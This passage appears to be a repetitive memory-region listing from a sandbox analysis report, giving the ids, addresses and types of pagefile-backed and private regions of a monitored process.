"pagefile_0x0000000000440000" filename = "" Region: id = 5653 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5654 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5655 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5656 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5657 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5658 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5659 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5660 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5661 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5662 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5663 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5664 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5665 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5666 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5667 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5668 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5669 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5670 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5671 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5672 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5673 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5674 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5675 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5676 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5677 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5678 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5679 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5680 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5681 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5682 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5683 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5684 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5685 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5686 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5687 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5688 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5689 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5690 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5691 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5692 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5693 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5694 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5695 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5696 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5697 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5698 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5699 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5700 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5701 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5702 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5703 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5704 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5705 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5706 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5707 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5708 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5709 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5710 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5711 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5712 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5713 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5714 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5715 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5716 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5717 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5718 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5719 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5720 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5721 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5722 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5723 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5724 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5725 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5726 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5727 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5728 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5729 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5730 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5731 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5732 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5733 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5734 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5735 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5736 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5737 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5738 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5739 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5740 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5741 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5742 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5743 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5744 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5745 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5746 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5747 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5748 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5749 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5750 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5751 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 5752 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 5753 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 5754 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5755 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5756 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5757 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5758 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5759 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5760 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5761 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5762 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5763 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5764 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5765 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5766 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5767 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5768 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5769 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5770 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5771 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5772 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5773 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5774 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5775 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5776 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5777 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5778 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5779 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5780 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5781 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5782 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5783 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5784 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5785 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5786 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5787 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5788 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5789 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5790 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5791 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5792 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5793 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5794 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5795 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5796 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5797 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5798 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5799 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5800 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5801 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5802 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5803 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5804 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5805 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5806 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5807 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5808 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5809 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5810 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5811 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5812 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5813 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5814 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5815 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5816 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5817 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5818 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5819 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5820 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5821 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5822 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5823 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5824 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5825 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5826 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5827 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5828 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5829 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5830 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5831 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5832 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5833 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5834 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5835 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5836 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5837 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5838 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5839 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5840 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5843 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5844 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 